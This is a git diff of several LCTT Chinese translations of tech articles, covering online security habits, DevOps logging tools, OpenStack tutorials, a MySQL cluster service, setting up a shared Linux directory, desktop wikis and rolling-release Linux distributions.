![4 ways to improve your security online right now](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/rh_003601_05_mech_osyearbook2016_security_cc.png?itok=VNmpz6K- "4 ways to improve your security online right now")
图片提供 : Opensource.com
过去几年来,关于数字安全漏洞和个人隐私问题的报道频率大幅上升,毫无疑问,这一趋势仍将继续。我们时常听说诈骗者转移到社交媒体,国家将网络攻击作为协调进攻策略的一部分,以及追踪我们在线行为的公司挣到了大钱,快速崛起。
对这些事件冷漠对待非常容易,但是你可以做很多事情来提高你的在线安全,这样当你被安全事件所困时,可以减少自己的风险,并快速保护自己免受进一步的损失。安全意识非常容易学习,并且许多开源项目可以帮助你。
安全的重点不是将你的计算机变成一个虚拟的 Fort KnoxLCTT 译注Fort Knox 是一个美军基地,固若金汤之意),而是为了使别人访问你的数据足够困难,这样攻击者将转移到其他更容易的目标。
### 使用密码管理器
在一个几乎每个网站都要求用户名和密码的世界里,大多数人都因密码而疲惫不堪,于是开发了复杂的系统来创建和记住用户名和密码(或者干脆完全放弃,只使用相同的用户名和密码)。密码管理器是这个问题的解决方案,我还不知道不使用密码管理器的专业安全人员。此外,它们非常容易设置和使用。
对于以前没有使用过的人来说,密码管理器是一种软件,它就像一个信息的数字保险库,将信息存储在加密环境中。你创建的主密码是一个单一的强密码,用于保护包含用户名和密码集合的保险库。通常,当你连接到已知网站,密码管理器会自动输入存储的密码,它也可以生成强密码并允许你存储其他信息。
有大量的密码管理器可用,其中许多是自由及开源的解决方案。我在 Windows 上用过 [KeePass][4],在 Linux 和 MacOS 上用过 [KeePassX][5],我推荐使用它们作为开始。(这里还有三个[开源密码管理器][6],你可以尝试一下。)
然而,每个人应该选择他自己的最佳解决方案。某些密码管理器除了本地存储之外还具有云存储的功能,如果你使用多个设备,这将非常有用。受欢迎的管理器更有可能被维护并得到定期的安全更新。一些密码管理器集成双因子认证功能,我强烈建议你启用它。
大多数密码管理器都没有恢复忘记的主密码的功能。所以要明智地选择并确保主密码是你可以记住的。
### 使用 VPN 提高共享网络的安全性
虚拟专用网络VPN允许计算机通过共享网络发送和接收数据就像它通过端到端加密直接与专用网络上的服务器通信一样。
您可能熟悉在办公室外工作时连接到公司内部网的过程。在咖啡馆或饭店使用连接到公共网络的 VPN会保护你的通信数据不被公网上其他人看到不过它无法阻止 VPN 供应商看到通信数据,而且确实存在不良 VPN 提供商收集和销售数据的现象。VPN 提供商也可能受到来自政府或执法机构的压力,将您通过其网络发送的数据信息传出。 因此请记住如果您正在进行非法活动VPN 将不会保护你。
当选择 VPN 提供商时,请考虑其运营所在的国家,因为这关系到它所受约束的法律,有时甚至非常无关痛痒的活动都可能使您陷入困境。
[OpenVPN][7] 是一个自由开源的 VPN 协议,可在大多数平台上使用,并已成为最广泛使用的 VPN 之一。 您甚至可以托管您自己的 OpenVPN 服务器 -- 只是要小心,注意其安全性。如果您更希望使用 VPN 服务,请记住许多声誉良好的提供商都想要为您提供服务。
有些是收费的,如 [ExpressVPN][8]、[NordVPN][9] 或 [AirVPN][10]。一些提供商提供免费服务,但是,我强烈建议您不要使用它们。 请记住,当您使用免费服务时,您的数据就是产品。
### 浏览器扩展程序是您的朋友
虽然互联网浏览器有一些内置的安全工具,但是浏览器扩展仍然是提升您的隐私和安全的好方法。有很多种类的浏览器扩展,但哪些扩展是适合你的? 这可能取决于你使用互联网的主要目的和你对技术的掌握程度。作为基线,我会使用以下扩展:
* [Privacy Badger][1]:这个扩展,由 EFF 开发,阻止间谍广告和隐蔽的跟踪。它通过在流量请求中放置一个 Do Not Track 头,然后评估流量仍被跟踪的可能性。如果这种可能性很高,它会阻止来自该域的进一步流量(除非你另有说明)。该扩展使用 GNU GPL v3 许可证。
* [HTTPS Everywhere][2]:它是 EFF 和 Tor 项目之间的联合协作,此扩展确保尽可能自动使用 HTTPS。这很重要因为它意味着您在给定域的网络流量是加密的而不是明文从而提供了隐私并确保交换数据的完整性。该扩展使用 GNU GPL v3 许可证。
### 不要忘记旧帐户
你还记得 Bebo、iTunes Ping、Del.icio.us、Digg、MySpace 或 Friendster 吗?它们上面你有帐户吗?你关闭了帐户还是仅仅停止使用帐户?你曾经停下来想过有什么信息可能在这些网站上吗?是不是忘记了?
旧的社交媒体帐户是那些收集数据的人的金矿,包括营销人员,欺诈者和黑客等。他们可以使用这些信息来构建您的个人信息画像,这些信息通常可以在密码重置中用提供一些重要信息,例如您的第一只宠物的名字或您的第一辆车。
某些网站可能会让删除帐户变得困难或实际上不可能。[Justdelete.me][11] 是一个很好的资源,在这里可以找到各种平台上如何删除社交媒体帐户的操作说明。如果你正在寻找的网站不在那里,而且你自己找到了删除帐户的方法,你可以在 GitHub 上为该项目做贡献。如果您不确定您可能已忘记的社交媒体帐户,[Knowem.com][12] 允许您按用户名搜索大量的社交网络。搜索工具也可能误报,而且你可能不是曾经使用特定用户名的唯一的人,但它是一个很好的开始,尽管不是开源的。
如果您不确定您可能使用的旧用户名Google 是一个很好的资源。尝试搜索旧昵称和电子邮件地址,你可能会对你发现的事感到惊讶。
### 总结
无论数字安全的任务如何巨大,你都可以在开始使用时打下坚实的基础。记住,安全是一个持续的过程,而不是一种状态。保持您使用的工具最新,定期检查您的习惯和工具,确保您的安全尽可能的好。如果你每次一步一步的改变,安全就不会过于复杂。
--------------------------------------------------------------------------------
作者简介:
Tiberius Hefflin - Tibbs 最近毕业于苏格兰西部大学,获得计算机安全学位。她已搬迁到波特兰,在为波特兰通用电气公司做安全保证工作。 她热衷于鼓励小孩子踏上 STEMLCTT 译注:即 科学 Science技术 Technology工程 Engineering数学 Mathematics
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/4-ways-improve-your-online-security
作者:[Tiberius Hefflin][a]
译者:[livc](https://github.com/livc)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/whatatiberius
[1]:https://www.eff.org/privacybadger
[2]:https://www.eff.org/Https-everywhere
[3]:https://opensource.com/article/17/1/4-ways-improve-your-online-security?rate=sa9kEW1QXWaWvvq4F5YWv2EhiAHVDoWOqzZS2a95Uas
[4]:http://keepass.info/
[5]:https://opensource.com/business/16/5/keepassx
[6]:https://linux.cn/article-8055-1.html
[7]:https://openvpn.net/
[8]:https://www.expressvpn.com/
[9]:https://nordvpn.com/
[10]:https://airvpn.org/
[11]:http://backgroundchecks.org/justdeleteme/
[12]:http://knowem.com/
[13]:https://opensource.com/user/108496/feed
[14]:https://opensource.com/article/17/1/4-ways-improve-your-online-security#comments
[15]:https://opensource.com/users/whatatiberius

View File

@ -0,0 +1,88 @@
5 个用于日志记录以及监控的 DevOps 工具
============================================================
![DevOps tools](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/devops-logging.jpg?itok=8-1glKie "DevOps tools")
> 这些 DevOps 日志记录和监控工具是重塑云计算趋势的一部分 -- 在《开放云指南》中了解更多。
[Creative Commons Zero][1] Pixabay
在云中,开源工具和应用程序使 DevOps 提高了很多效率对于日志记录和监视解决方案尤其如此。监控云平台、应用程序和组件以及处理和分析日志对于确保高可用性、高性能、低延迟等至关重要。事实上RightScale 最近的[云状态调查][4]报告中说最常见的云优化的行为中45 的大公司和中小型企业关注的是监控。
然而,专有的记录和监控解决方案是昂贵的。更糟的是,它们通常捆绑更昂贵的管理服务产品。
现在进入强大的开放日志和监控解决方案的新浪潮。其中一些聚焦于有针对性的任务,例如容器集群的监控和性能分析,而其他作为整体监控和警报工具包,它们能够进行多维度的数据收集和查询。
Linux 基金会最近[发布][5]了[<ruby>《开放云指南:当前趋势和开源项目》<rt> Guide to the Open Cloud: Current Trends and Open Source Projects</rt></ruby>][6]这篇报告。这是第三份年度报告,全面地介绍了开放云计算的状态,包括为 DevOps 社区的日志记录和监控的部分。该报告现在已经可以[下载][7]它对研究进行了汇总和分析阐述了容器、监控等的发展趋势在如何重塑云计算。该报告提供了对当今开放云环境很重要的分类项目的描述和链接。需要特别注意的是DevOps 已经成为云中应用交付和维护的最有效方法。
在这里的[一系列帖子][8]中,我们按照类别从指南中列出了这些项目,并提供了该类别整体发展情况的见解。下面,你将看到一些用于记录和监视的重要 DevOps 工具集合,它们所带来的影响,以及它们的 GitHub 链接,这些都是从《[开放云指南][6]》中收集而来的:
### 日志记录和监控
#### Fluentd
Fluentd 是一个用于统一日志记录层的开源数据收集器,由 Treasure Data 贡献。它将数据结构化为 JSON以统一处理日志数据的所有方面在多个源和目标之间收集、过滤、缓冲和输出日志。
- [官网][9]
- [GitHub][10]
#### Heapster
Heapster 是 Kubernetes 的一个容器集群监控和性能分析工具。它本身支持 Kubernetes 和 CoreOS并且经过调整可以在 OpenShift 上运行。它还支持可插拔的存储后端:使用 Grafana 的 InfluxDB、Google Cloud Monitoring、Google Cloud Logging、Hawkular、Riemann 和 Kafka。
- [官网][11]
- [GitHub][12]
#### Logstash
Logstash 是 Elastic 的开源数据管道,用于帮助处理来自各种系统的日志和其他事件数据。它的插件可以连接到各种源和大规模流数据到中央分析系统。
- [官网][13]
- [GitHub][14]
#### Prometheus
Prometheus 是一个开源的系统监控和警报工具包,最初由 SoundCloud 构建,现在是 Linux 基金会的云计算基础项目。它适用于以机器为中心和微服务架构,并支持多维度数据收集和查询。
- [官网][15]
- [GitHub][16]
#### Weave Scope
Weave Scope 是 Weaveworks 的开源工具,用于实时监控分布式应用程序及其容器。它与 Kubernetes 和 AWS ECS 集成。
- [官网][17]
- [GitHub][18]
_要了解更多关于开源云计算的趋势查看顶级开源云计算项目的完整列表。[现在下载 Linux 基金会的《开放云指南》报告!][3]_
--------------------------------------------------------------------------------
via: https://www.linux.com/news/open-cloud-report/2016/5-devops-tools-logging-and-monitoring
作者:[SAM DEAN][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.linux.com/users/sam-dean
[1]:https://www.linux.com/licenses/category/creative-commons-zero
[2]:https://www.linux.com/files/images/devops-loggingjpg
[3]:http://bit.ly/2eHQOwy
[4]:http://www.rightscale.com/blog/cloud-industry-insights/cloud-computing-trends-2016-state-cloud-survey
[5]:https://www.linux.com/blog/linux-foundation-issues-2016-guide-open-source-cloud-projects
[6]:http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr?utm_source=press-release&utm_medium=pr&utm_campaign=open-cloud-report-2016
[7]:http://go.linuxfoundation.org/l/6342/2016-10-31/3krbjr
[8]:https://www.linux.com/news/open-cloud-report/2016/guide-open-cloud-state-micro-oses
[9]:http://www.fluentd.org/
[10]:https://github.com/fluent
[11]:http://blog.kubernetes.io/2015/05/resource-usage-monitoring-kubernetes.html
[12]:https://github.com/kubernetes/heapster
[13]:https://www.elastic.co/products/logstash
[14]:https://github.com/elastic/logstash
[15]:https://prometheus.io/
[16]:https://github.com/prometheus
[17]:https://www.weave.works/products/weave-scope/
[18]:https://github.com/weaveworks/scope

View File

@ -0,0 +1,56 @@
5 个新的 OpenStack 使用指南
============================================================
![OpenStack tutorials](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/rh_003588_01_rd3os.combacktoschoolserieshe_rh_051x_0.png?itok=Tm2UcSXw "OpenStack tutorials")
图片提供opensource.com
随着越来越多的组织寻求构建和管理自己的开源云,所以拥有 OpenStack 经验仍然被视为技术界中最需要的技能。但是 OpenStack 是一个巨大的知识领域,包含了十几个正在积极开发的单独项目。仅仅使你的技能跟上它的最新发展就是一个挑战。
好消息是现在有很多资源可以让你跟上这个发展速度。除了其[官方项目文档][9],各种培训和认证程序、纸质的指南、以及其他资源之外,还有大量的由 OpenStack 社区成员编写并发布在各种博客和线上出版物上的教程和指南。
在 Opensource.com我们每个月都会收集这些社区资源中最好的资源并将它们放到一个集锦中。这是我们上个月的内容。
* 这次排第一位的是 Julie Pichon 对 [Mistral 在 TripleO 中的使用][1]的一个快速介绍。Mistral 是一个工作流服务,允许你设置一个多步过程自动化和异步协调操作。在该快速指南中学习 Mistral 的基础知识、它如何工作,以及如何在 TripleO 中使用它。
* 想要使用 OpenStack 自己的一套工具来深入了解 TripleO 管理 OpenStack 部署么?你会想看看这[一组为使用 TripleO 设置 OpenStack 的人士写的简洁提示][2]。这是一个正在进行中的工作,所以如果你还想包含什么,欢迎随时贡献。
* 使用 TripleO 设置独立的 Ceph 部署时,不要错过这个[快速指南][3],这是我们的 TripleO 指南的第三篇。它所需要的只是一个简短的 YAML 文件和一个简单的命令。
* 接下来,如果你是一个 OpenStack 贡献者,你可能会熟悉 [Grafana 面板][4],它显示了 OpenStack 持续集成基础设施的各种指标。有没有想过这个服务如何工作,或想创建一个新的指标到面板上?学习[如何创建][5]你自己的本地面板的副本,你可以测试试试,并作出自己的修改。
* 有没有想过 OpenStack 云上的网络底层到底在如何运作的OpenStack 经常使用 [Open vSwitch][6] 用于 Neutron 和 Nova 的网络服务;在[这个演练][7]中学习设置的基础。
* * *
这次就是这样了。和往常一样,请查看我们完整的 [OpenStack 教程][10],它汇集了过去三年发布的数百个单独的指南。
--------------------------------------------------------------------------------
作者简介:
Jason Baker - Jason 热衷于使用技术使世界更加开放从软件开发到阳光政府行动。Linux 桌面爱好者、地图/地理空间爱好者、树莓派工匠、数据分析和可视化极客、偶尔的码农、云本土主义者。在 Twitter 上关注他。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/openstack-tutorials
作者:[Jason Baker][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/jason-baker
[1]:http://www.jpichon.net/blog/2016/12/quick-introduction-mistral-tripleo/
[2]:http://www.anstack.com/blog/2016/12/16/printing-tripleo-cheat-sheet.html
[3]:http://giuliofidente.com/2016/12/tripleo-to-deploy-ceph-standlone.html
[4]:http://grafana.openstack.org/
[5]:http://blog.cafarelli.fr/2016/12/local-testing-of-openstack-grafana-dashboard-changes/
[6]:http://openvswitch.org/
[7]:http://superuser.openstack.org/articles/openvswitch-openstack-sdn/
[8]:https://opensource.com/article/17/1/openstack-tutorials?rate=q5H-KT2pm4NLExRhlHc0ru2dyjLkTSA45wim_2KtIec
[9]:http://docs.openstack.org/
[10]:https://opensource.com/resources/openstack-tutorials
[11]:https://opensource.com/user/19894/feed
[12]:https://opensource.com/users/jason-baker

View File

@ -0,0 +1,85 @@
MySQL 集群服务简介
=====================
[MySQL Cluster.me][1] 开始提供基于 **Galera Replication** 技术的 **MySQL****MariaDB** 集群服务。
在本文中我们将会讨论 **MySQL****MariaDB** 集群服务的主要特性。
[
![MySQL集群服务](http://www.tecmint.com/wp-content/uploads/2017/01/MySQL-Clusters-Service.png)
][2]
*MySQL 集群服务*
### 什么是 MySQL 集群
如果你曾经疑惑过如何提升 MySQL 数据库的可靠性和可扩展性,或许你会发现其中一个解决办法就是通过基于 **Galera Cluster** 技术的 **MySQL 集群**解决方案。
这项技术使得你可以在一个或者多个数据中心的多个服务器上获得经过同步的完整 MySQL 数据副本。这可以实现数据库的高可用性 - 当你的一个或者多个数据库服务器崩溃后,仍然能够从其它剩余服务器上获得完整的服务。
需要注意的是在 **MySQL 集群**中需要至少 3 台服务器,因为当其中一台服务器从崩溃中恢复的时候需要从仍然存活的两台服务器中选择一个**捐赠者**拷贝一份数据所以为了能够从崩溃中顺利恢复数据必须要保证两台在线服务器以便从中恢复数据。LCTT 译注:在捐赠者提供复制数据时,另外一台可以不停顿地提供服务)
同样,[MariaDB 集群][3]和 MySQL 集群在本质上是相同的,因为 MariaDB 是基于 MySQL 开发的一个更新、更优化的版本。
[
![MySQL集群与Galera复制技术](http://www.tecmint.com/wp-content/uploads/2017/01/MySQL-Clusters-Galera-Replications.png)
][4]
*MySQL 集群与 Galera 复制技术*
### 什么是 MySQL 和 MariaDB 集群服务?
**MySQL 集群**服务提供了能够同时解决可靠性和可扩展性的方案。
首先,集群服务使你能够忽略任何数据中心引起的问题,并能获得高达 **100% 正常运行时间**的数据库高可用性。
其次,将乏味无趣的 MySQL 集群相关管理工作外包出去,能够使你更加专注于业务工作。
事实上,独立管理一个集群需要你能够完成以下所有工作:
1. **安装和设置集群**  这可能需要一个有经验的数据库管理员花费数小时来设置一个可用的集群。
2. **集群监控**  必须使用一种方案 24 * 7 监控集群运作,因为很多问题都可能发生-集群不同步、服务器崩溃、硬盘空间满等。
3. **优化及调整集群大小**  当你管理了很大的数据库时,调整集群大小将会是一个巨大的挑战。处理这个任务时需要格外小心。
4. **备份管理**  为了防止集群失败带来的危险,你需要备份集群数据。
5. **解决问题**  你需要一个经验丰富的工程师来对集群进行优化及解决相关问题。
但是现在你只需要通过使用 **MySQLcluster.me** 团队提供的 **MySQL 集群服务**就可以节省大量的时间和金钱。
**MySQLcluster.me 提供的 MySQL 集群服务包括了哪些内容?**
除了很多高可用性数据服务提供的 **100%** 可用性外,你还将获得如下保证:
1. **任何时候都可以调整 MySQL 集群大小**  你可以增加或者减少集群资源(包括 RAM、CPU、DISK以便满足业务尖峰需求。
2. **优化硬盘和数据库的性能**  硬盘能够达到**10000 IOPS**,这对数据库操作十分重要。
3. **数据中心选择**  你可以选择将集群布置在哪个数据中心。当前支持的数据中心有Digital Ocean、 Amazon AWS、 RackSpace、 Google Compute Engine。
4. **24×7 集群服务支持**  我们的团队能够为你集群上发生的任何问题提供支持,甚至包括对你的集群架构提供建议。
5. **集群备份**  我们团队会为你设置备份,这样你的集群数据能够每天备份到安全的地方。
6. **集群监控**  我们团队设置了自动监控以便能够及时发现你的集群出现的问题,并提供支持,哪怕你并没有在值班。
拥有自己的 **MySQL 集群**会有很多优势,但是需要你足够耐心和有经验才行。
与 [MySQL Cluster][5] 团队联系以便找到适合你的工具包.
--------------------------------------------------------------------------------
作者简介:
我是 Ravi Saive开发了 TecMint。电脑极客和 Linux 专家,喜欢分享关于互联网的建议和点子。我的大部分服务都运行在开源平台 Linux 上。关注我的 Twitter、Facebook 和 Google+。
--------------------------------------------
via: http://www.tecmint.com/getting-started-with-mysql-clusters-as-a-service/
作者:[Ravi Saive][a]
译者:[beyondworld](https://github.com/beyondworld)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/admin/
[1]:https://www.mysqlcluster.me/#utm_source=tecmintpost1&utm_campaign=tecmintpost1&utm_medium=tecmintpost1
[2]:http://www.tecmint.com/wp-content/uploads/2017/01/MySQL-Clusters-Service.png
[3]:https://www.mysqlcluster.me/#utm_source=tecmintpost1&utm_campaign=tecmintpost1&utm_medium=tecmintpost1
[4]:http://www.tecmint.com/wp-content/uploads/2017/01/MySQL-Clusters-Galera-Replications.png
[5]:https://www.mysqlcluster.me/#utm_source=tecmintpost1&utm_campaign=tecmintpost1&utm_medium=tecmintpost1

View File

@ -3,16 +3,16 @@
作为系统管理员,你可能有一个特定目录,你希望为 Linux 服务器上的每个用户授予读/写访问权限。在本指南中,我们将回顾如何在 Linux 中对特定目录(共享目录)上的所有用户启用写访问。
这要求设置适当的访问权限,以及为将要共享或具有对特定目录的写访问权的所有用户分配公共组的最有效和可靠的方法
这要求设置适当的访问权限,而最有效、可靠的方法是为所有要共享或对特定目录的写访问权的用户分配一个公共组
以防你系统中还没有存在这个目录和公众组,用下面的命令创建:
如果你系统中还没有存在这个目录和公众组,用下面的命令创建:
```
$ sudo mkdir -p /var/www/reports/
$ sudo groupadd project
```
接着将对目录 /var/www/reports/ 有写权限的用户添加到 project 组中。
接着将对目录 `/var/www/reports/` 有写权限的用户添加到 `project` 组中。
```
$ sudo usermod -a -G project tecmint
@ -21,14 +21,14 @@ $ sudo usermod -a -G project tecmint
![Create Common Directory Group](http://www.tecmint.com/wp-content/uploads/2017/01/Create-Common-Directory-Group.png)
][1]
创建公共目录组
*创建公共目录组*
上面命令使用到的标志和参数是:
1. `-a`  将用户添加到增补组中。
2. `-G`  指定组名。
3. `project`  组名。
4. `tecmint`  存在的用户名。
4. `tecmint`  已有的用户名。
在这之后,给目录配置适当的权限,`-R` 会让操作递归进入子目录中: 
@ -37,9 +37,9 @@ $ sudo chgrp -R project /var/www/reports/
$ sudo chmod -R 2775 /var/www/reports/
```
解释下上面 chmod 命令中的 2775
解释下上面 `chmod` 命令中的 `2775`
1. `2` - 打开 setGID 位,意味着新创建的子文件继承与目录相同的组,新创建的子目录继承父目录的设置 GID 位。
1. `2` - 打开 setGID 位,意味着新创建的子文件继承与目录相同的组,新创建的子目录继承父目录的 setGID 位。
2. `7` - 为所有者提供 rwx 权限。
3. `7` - 给组 rwx 权限。
4. `5` - 为其他人提供 rx 权限。
@ -78,7 +78,7 @@ via: http://www.tecmint.com/create-a-shared-directory-in-linux/
作者:[Aaron Kili][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,85 @@
3 个帮助你整理信息的桌面 Wiki
============================================================
![3 desktop wikis to help organize information](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/resume_career_document_general.png?itok=7Am9KpC- "3 desktop wikis to help organize information")
图片提供 opensource.com
当你想到 “wiki” 这个词时,可能会想到 MediaWiki 或 DokuWiki 这样的例子。它们开源、好用、强大而且灵活。它们可以自己用、也可以团队协作使用或者只是帮忙整理生活中的海量信息。
另一方面,那些 wiki 也有点大。运行它们稍微需要一些额外的计算机技能。对我们中的许多人来说,这有些困难,特别是如果你只想在自己的桌面上使用 wiki。
如果你想在桌面上感受 wiki而不用做那些复杂的工作这很容易做到。这有一些轻量级 wiki可以帮助你组织你的信息、跟踪你的任务、管理你的笔记等等。
让我们来看看其中三个轻量级的桌面 wiki。
### Zim Desktop Wiki
[Zim Desktop Wiki][2](简称 Zim相对较小、相当快而且易于使用。它围绕“笔记本”的概念构建“笔记本”是一个单一主题或一组 wiki 页面的集合。
每个笔记本都可以包含任意数量的页面,你可以使用 [CamelCase][3]wiki 用户的最爱)或使用工具栏上的选项在这些页面之间链接。你可以通过单击工具栏上的按钮来使用 Zim 的 wiki 标记对页面进行格式化。
Zim 可以将你的网页导出为多种格式,包括 HTML、LaTeX、ReStructuredText 和 Markdown。你还可以利用 Zim 的[众多插件][4]来为应用程序添加拼写检查,方程编辑器,表格编辑器等。
![Zim Desktop Wiki](https://opensource.com/sites/default/files/zim.png "Zim Desktop Wiki")
*Zim Desktop Wiki*
### TiddlyWiki
[TiddlyWiki][5] 不是一个软件,它是一个大的 HTML 文件。大小大概有 2MBTiddlyWiki 是最灵活的选择之一。你可以将文件存储在计算机上、网络驱动器上,或随身携带在闪存上。 但是不要被 TiddlyWiki 表面上的简单所迷惑,它是一个非常强大的工具。
想要使用 TiddlyWiki你要创建叫一种 “tiddlers” 的东西。 tiddlers 是你的 wiki 上的项目如笔记、日记、书签和任务列表。tiddlers 也可以是你想要的任何东西。当使用 tiddlers 时,你可以添加 TiddlyWiki 版的 WikiText 和图片。 TiddlyWiki 甚至包装了一个原始的绘画程序。
如果这还不够TiddlyWiki 有一个内置的插件集,它允许你更改 tiddlers 的编辑器添加工具来实现从印象笔记导入数据、做数学排版、Markdown 渲染等等。
![TiddlyWiki](https://opensource.com/sites/default/files/tiddlywiki.png "TiddlyWiki")
*TiddlyWiki*
### WikidPad
虽然不够漂亮,但古老的 [WikiPad][6] 可以很好地完成工作。
当你想要围绕某个主题创建一组笔记(例如你撰写的文章的信息或项目计划)时,你可以创建一个新的 wiki 页面。接着,你可以添加子页面并通过使用 [CamelCase][7] 命名这些子页面将它们链接在一起。你可以创建任意数量的 wiki 页面,并且根据需要打开(在单独的窗口中)。
此外,你可以使用 WikiText 添加基本格式,也可以将图像粘贴到 wiki 页面中。当你想要共享你的 wiki 页面时,你可以在线发布或打印它们 - WikidPad 有一个非常好的 HTML 导出功能。
WikidPad 只有 Windows 安装程序或源代码发布的形式。它没有流行的发行版的软件包。但是,你不必编译就可以在 Linux 中使用它。WikidPad wiki 有从命令行启动软件的[简单而细致的说明][8]。
![WikidPad](https://opensource.com/sites/default/files/wikidpad.png "WikidPad")
*WikidPad*
**你有最喜欢的可以帮你组织信息的轻量级桌面 wiki 么?请在下方的留言中与我们共享。**
--------------------------------------------------------------------------------
译者简介:
Scott Nesbitt - 作家、编辑、江湖客Soldier of fortune、豹猫牧马人Ocelot wrangler、丈夫和父亲、博客主、陶器收藏家。Scott 是以上的混合体。他也是一个自由/开源软件的长期用户,他为此写了很多[博客][12]。你可以在 [Twitter][13]、[GitHub][14] 找到他。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/2/3-desktop-wikis
作者:[Scott Nesbitt][a]
译者:[geekpi](https://github.com/geekpi)
校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/scottnesbitt
[1]:https://opensource.com/article/17/2/3-desktop-wikis?rate=2SqxwFsI7ttHe6AWH_Wyq4I6WT8NdBSuZ_4zUOLO9RA
[2]:http://zim-wiki.org/index.html
[3]:https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup
[4]:http://zim-wiki.org/manual/Plugins.html
[5]:http://tiddlywiki.com/
[6]:http://wikidpad.sourceforge.net/
[7]:https://en.wikipedia.org/wiki/Camel_case#Wiki_link_markup
[8]:http://trac.wikidpad2.webfactional.com/wiki/InstallLinux
[9]:https://opensource.com/user/14925/feed
[10]:https://opensource.com/article/17/2/3-desktop-wikis#comments
[11]:https://opensource.com/users/scottnesbitt
[12]:http://scottnesbitt.io/
[13]:http://www.twitter.com/ScottWNesbitt
[14]:https://github.com/ScottWNesbitt

View File

@ -1,25 +1,25 @@
Arch Linux vs. Solus vs. openSUSE Tumbleweed谁是你最喜欢的滚动发行版
Arch Linux、Solus 和 openSUSE Tumbleweed谁是你最喜欢的滚动发行版
============================================================
> 告诉我们你 PC 上使用的滚动 Linux 系统
我最近不得不重新安装我的笔记本,由于我只在我的笔记本上使用 Linux我不能花半天定制操作系统、安装数百个更新设置我最喜欢的应用程序。
我最近不得不重新安装我的笔记本,由于在我的笔记本上我只使用 Linux我不能花半天定制操作系统、安装数百个更新然后设置我最喜欢的应用程序。
我通常使用[Arch Linux][1],但因为安装它并不简单,我必须花费很多时间让它变成我喜欢的方式,如安装我最喜欢的桌面环境,启用 AURArch 用户仓库),安装工作需要的各种应用程序还有我需要在笔记本上做的一切,我决定使用不同的发行版。
我通常使用 [Arch Linux][1],但因为安装它并不简单,我必须花费很多时间让它变成我喜欢的方式,如安装我最喜欢的桌面环境,启用 AURArch 用户仓库),安装工作需要的各种应用程序和我需要在笔记本上做的一切,所以,我决定试试不同的发行版。
当然,我可以使用基于 Arch Linux 的发行版,比如 Antergos、Manjaro 或 Chakra GNU/Linux但是我不是基于另一个发行版的粉丝,更不要说它们中的许多针对特定的桌面环境,我不喜欢混合包,最终变成一个臃肿的系统。
当然,我可以使用基于 Arch Linux 的发行版,比如 Antergos、Manjaro 或 Chakra GNU/Linux但是我不是那种衍生发行版的粉丝,更不要说它们中的许多针对特定的桌面环境而构建,我不喜欢把软件包混合起来,从而最终变成了一个臃肿的系统。
我的意思是,如果我使用[Arch Linux][2],并且我有时间安装它并完全配置它,当我可以使用“真实的东西”,为什么我要选择使用 Arch Linux 仓库/软件包的操作系统?不管怎样,我也在看 [Solus][3] 和[ openSUSE Tumbleweed][4],因为现在它们是其中最流行的系统
我的意思是,如果我使用 [Arch Linux][2],并且我有时间安装它并完全配置它,那么当我可以使用“真实的东西”的时候,为什么我要选择那种只是混用了 Arch Linux 仓库/软件包的操作系统呢?所以,我去看了看 [Solus][3] 和 [openSUSE Tumbleweed][4],因为现在它们是最流行的系统之一
虽然 openSUSE Tumbleweed 是一个[总是收到最新的软件版本][5]并迅速移动到新的 Linux 内核分支的很好的发行版,但我不能说基于 RPM 的发行版是我的菜。我不知道为什么,但我总是喜欢一个基于 DEB 的操作系统回来的日子,当然直到我发现了 Arch Linux。
虽然 openSUSE Tumbleweed 是一个[总是能得到最新的软件版本][5],并会迅速移动到新的 Linux 内核分支的很棒的发行版,但我觉得基于 RPM 的发行版不是我的菜。我不知道为什么,但我一直以来总是喜欢基于 DEB 的操作系统,当然直到我发现了 Arch Linux。
当然openSUSE Tumbleweed 很容易安装和配置,但我决定我的笔记本上试下 Solus因为它现在提供 ISO 快照,所以你不必在安装后下载数百个更新,并预装了大多数我每天使用的应用程序。
当然openSUSE Tumbleweed 很容易安装和配置,但我决定我的笔记本上试下 Solus因为它现在提供 ISO 快照,所以你不必在安装后下载数百个更新,并且它预装了我每天使用的大多数应用程序。
[Solus 还提供最新的应用程序][6]、加密安装,它非常容易安装。它在我笔记本上可以安装即用Budgie 环境也可以根据你的爱好设置。我最喜欢 Solus 的是只要我想我可以随时升级我使用的程序,就像在 Arch Linux 上那样。
[Solus 还提供最新的应用程序][6]、系统加密,而且超级容易安装。它在我笔记本上可以安装即用Budgie 环境也可以根据你的爱好设置。我最喜欢 Solus 的是只要我想我可以随时升级我使用的程序,就像在 Arch Linux 上那样。
现在 Solus 社区不像 Arch Linux 那么大,但是随着时间的推移,它会增长,特别地你可以通过贡献新的或更新包来帮助。最后,每当我想重新安装我的笔记本,我可以总是依赖我手上的 Solus Live USB。
